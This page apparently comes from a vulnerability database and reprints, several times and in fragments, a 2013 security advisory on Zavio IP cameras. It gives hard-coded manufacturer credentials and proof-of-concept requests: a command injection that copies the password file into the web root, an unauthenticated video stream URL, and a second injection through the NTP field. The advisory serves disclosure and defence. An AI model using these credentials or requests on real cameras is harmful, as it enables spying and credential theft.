- Vulnerability Description
Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker:
- [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials.
- This flaw can also be used to obtain all credentials of registered users.
- [CVE-2013-2569] to access the camera video stream.
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Hard-Coded Credentials in Administrative Web Interface
[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular tiny server for embedded Linux devices. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/

VAR-202001-0851
Vulnerability from variot - Updated: 2024-08-14 13:54A Security Bypass vulnerability exists in Zavio IP Cameras through 1.6.3 because the RTSP protocol authentication is disabled by default, which could let a malicious user obtain unauthorized access to the live video stream. Zavio IP The camera contains an authentication vulnerability.Information may be obtained. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. Zavio IP Cameras running firmware version 1.6.03 and below are vulnerable. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials.
- [CVE-2013-2568] to execute arbitrary commands from the administration web interface. This flaw can also be used to obtain all credentials of registered users.
- [CVE-2013-2569] to access the camera video stream.
-
[CVE-2013-2570] to execute arbitrary commands from the administration web interface (post authentication only).

Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Hard-Coded Credentials in Administrative Web Interface
[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular tiny server for embedded Linux devices. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/

"data": "A Security Bypass vulnerability exists in Zavio IP Cameras through 1.6.3 because the RTSP protocol authentication is disabled by default, which could let a malicious user obtain unauthorized access to the live video stream. Zavio IP The camera contains an authentication vulnerability.Information may be obtained. \nAn attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. \nZavio IP Cameras running firmware version 1.6.03 and below are vulnerable. *Advisory Information*\n\nTitle: Zavio IP Cameras multiple vulnerabilities\nAdvisory ID: CORE-2013-0302\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities\nDate published: 2013-05-28\nDate of last update: 2013-05-28\nVendors contacted: Zavio\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Use of hard-coded credentials [CWE-798], OS command injection\n[CWE-78], Incorrect default permissions [CWE-276], OS command injection\n[CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570\n\n3. [CVE-2013-2567] to bypass user web interface authentication using\nhard-coded credentials. \n 2. [CVE-2013-2568] to execute arbitrary commands from the\nadministration web interface. This flaw can also be used to obtain all\ncredentials of registered users. \n 3. [CVE-2013-2569] to access the camera video stream. \n 4. [CVE-2013-2570] to execute arbitrary commands from the\nadministration web interface (post authentication only). \n\n4. *Vulnerable Packages*\n\n . \n\n5. *Non-Vulnerable Packages*\n\n . Vendor did not provide details. Contact Zavio for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Zavio after several attempts to report\nthese vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \nSome mitigation actions may be:\n\n . Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to\n\u0027manufacture.cgi\u0027 and \u0027wireless_mft.cgi\u0027. Check the parameter \u0027General.Time.NTP.Server\u0027 in requests to\n\u0027/opt/cgi/view/param\u0027. \n\n7. *Credits*\n\nThese vulnerabilities were discovered and researched by Nahuel Riva and\nFrancisco Falcon from Core Exploit Writers Team. The publication of this\nadvisory was coordinated by Fernando Miranda from Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. *Hard-Coded Credentials in Administrative Web Interface*\n\n[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular\ntiny server for embedded Linux devices. \u0027boa.conf\u0027 is the Boa\nconfiguration file, and the following account can be found inside:\n\n/-----\n# MFT: Specify manufacture commands user name and password\nMFT manufacture erutcafunam\n-----/\n\n This account is not visible from the user web interface; users are not\naware of the existence and cannot eliminate it. Through this account it\nis possible to access two CGI files located in \u0027/cgi-bin/mft/\u0027:\n\n 1. \u0027manufacture.cgi\u0027\n 2. \u0027wireless_mft.cgi\u0027\n\nThe last file contains the OS command injection showed in the following\nsection. \n\n8.2. *OS Command Injection*\n\n[CVE-2013-2568] The file \u0027/cgi-bin/mft/wireless_mft.cgi\u0027, has an OS\ncommand injection in the parameter \u0027ap\u0027 that can be exploited using the\nhard-coded credentials showed in the previous section:\n\n/-----\nusername: manufacture\npassword: erutcafunam\n-----/\n\n The following proof of concept copies the file where the user\ncredentials are stored in the web server root directory:\n\n/-----\nhttp://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales\n-----/\n\n Afterwards, the user credentials can be obtained by requesting:\n\n/-----\nhttp://192.168.1.100/credenciales\n-----/\n\n8.3. *RTSP Authentication Disabled by Default*\n\n[CVE-2013-2569] The RTSP protocol authentication is disabled by default. \nTherefore, the live video stream can be accessed by a remote\nunauthenticated attacker by requesting:\n\n/-----\nrtsp://192.168.1.100/video.h264\n-----/\n\n8.4. *OS Command Injection (Post-auth)*\n\n[CVE-2013-2570] The command injection is located in the function\n\u0027sub_C8C8\u0027 of the binary \u0027/opt/cgi/view/param\u0027. The vulnerable parameter\nis \u0027General.Time.NTP.Server\u0027. The following proof of concept can be used\nto obtain the complete list of access points by executing \u0027/sbin/awpriv\nra0 get_site_survey\u0027:\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/param?action=update\u0026General.Time.DateFormat=ymd\u0026General.Time.SyncSource=NTP\u0026General.Time.TimeZone=GMT-06:00/America/Mexico_City\u0026General.Time.NTP.ServerAuto=no\u0026General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;\u0026General.Time.NTP.Update=01:00:00\u0026General.Time.DayLightSaving.Enabled=on\u0026General.Time.DayLightSaving.Start.Type=date\u0026General.Time.DayLightSaving.Stop.Type=date\u0026General.Time.DayLightSaving.Start.Month=01\u0026General.Time.DayLightSaving.Stop.Month=01\u0026General.Time.DayLightSaving.Start.Week=1\u0026General.Time.DayLightSaving.Stop.Week=1\u0026General.Time.DayLightSaving.Start.Day=01\u0026General.Time.DayLightSaving.Stop.Day=01\u0026General.Time.DayLightSaving.Start.Date=01\u0026General.Time.DayLightSaving.Stop.Date=01\u0026General.Time.DayLightSaving.Start.Hour=00\u0026General.Time.DayLightSaving.Stop.Hour=00\u0026General.Time.DayLightSaving.Start.Min=00\u0026General.Time.DayLightSaving.Stop.Min=00\u0026Image.OSD.Enabled=off\n-----/\n\n9. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the Zavio Tech Support and requests\na security manager to send a draft report regarding these\nvulnerabilities.

VAR-202001-0849
Vulnerability from variot - Updated: 2024-08-14 13:54An Authentication Bypass vulnerability exists in the web interface in Zavio IP Cameras through 1.6.03 due to a hardcoded admin account found in boa.conf, which lets a remote malicious user obtain sensitive information. Zavio IP The camera contains a vulnerability regarding the use of hard-coded credentials.Information may be obtained. Zavio is an IP camera. The ZAVIO IP camera uses the Boa web server. Boa.conf is the file of the server. The attacker can unauthorized access to sensitive files that are invisible to the user. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- Vulnerability Description
Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker:
- [CVE-2013-2568] to execute arbitrary commands from the administration web interface. This flaw can also be used to obtain all credentials of registered users.
- [CVE-2013-2569] to access the camera video stream.
-
[CVE-2013-2570] to execute arbitrary commands from the administration web interface (post authentication only).
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/

VAR-202001-0850
Vulnerability from variot - Updated: 2024-08-14 13:54A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 via the ap parameter to /cgi-bin/mft/wireless_mft.cgi, which could let a remote malicious user execute arbitrary code. Zavio IP The camera has OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Zavio is an IP camera. This vulnerability can also be used to obtain credentials for all registered users. Zavio IP Cameras are prone to a remote arbitrary command-injection vulnerability. Successful exploits will allow attackers to execute arbitrary commands in the context of the affected application. This may further aid in other attacks. Zavio IP Cameras running firmware version 1.6.03 and below are vulnerable. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials.
- [CVE-2013-2569] to access the camera video stream.
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Hard-Coded Credentials in Administrative Web Interface
[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular tiny server for embedded Linux devices. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/

Zavio IP The camera has OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Zavio is an IP camera. This vulnerability can also be used to obtain credentials for all registered users. Zavio IP Cameras are prone to a remote arbitrary command-injection vulnerability. \nSuccessful exploits will allow attackers to execute arbitrary commands in the context of the affected application. This may further aid in other attacks. \nZavio IP Cameras running firmware version 1.6.03 and below are vulnerable. *Advisory Information*\n\nTitle: Zavio IP Cameras multiple vulnerabilities\nAdvisory ID: CORE-2013-0302\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities\nDate published: 2013-05-28\nDate of last update: 2013-05-28\nVendors contacted: Zavio\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Use of hard-coded credentials [CWE-798], OS command injection\n[CWE-78], Incorrect default permissions [CWE-276], OS command injection\n[CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570\n\n3.
